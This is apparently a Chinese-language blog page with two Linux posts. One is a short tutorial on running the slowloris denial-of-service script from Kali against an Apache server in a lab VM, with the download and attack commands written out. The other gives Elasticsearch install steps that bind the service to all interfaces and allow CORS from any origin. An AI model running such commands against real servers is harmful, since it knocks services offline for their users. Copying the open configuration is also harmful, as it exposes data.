顯示具有 linux 標籤的文章。 顯示所有文章
顯示具有 linux 標籤的文章。 顯示所有文章

2016年7月10日 星期日

DDOS Kali linux 教學

在 linux 上實現 DDOS 攻擊非常簡單, 只需要有2個工具即可 


  1.  perl  - 多用作寫系統管理工具, Kali linux 預設就安裝好perl 
  2.  slowloris - 實作ddos 攻擊的套件, 只要一個指令即可安, 一個指令設定權限就可使用
本例子是開2台 VM , 一台 Kali 用作 DDOS 主機 , 一台 Ubuntu 用作 Apache2 web server , 而且監察所有的連線. 在影片可以看到, Apache server 剛啟動後網頁瀏覽暢順 , 但當DDOS連線攻擊開始後 , Apache2 server 進入癱瘓狀態 , 瀏覽器再度連線完全沒有回應.




  • 第一步 - 安裝Slowloris

$wget https://raw.githubusercontent.com/lla...
$chmod +x slowloris.pl


  • 第二步 - 執行 DDOS

$perl ./slowloris.pl -dns 192.168.1.106 -options

2016年5月25日 星期三

elasticesearch ubuntu linux



Installation 

  • Install Java

sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java7-installer
java -version


  • Install elastic search

wget https://download.elastic.co/elasticsearch/release/org/elasticsearch/distribution/deb/elasticsearch/2.3.3/elasticsearch-2.3.3.deb

 dpkg -i elasticsearch-2.3.3.deb


  • Start elastic search

sudo service elasticsearch start



======================================

  • Open port


/etc/elasticsearch/elasticsearch.yml

network.host: 0.0.0.0 
http.cors.enabled: true 
http.cors.allow-origin: "/.*/"


======================================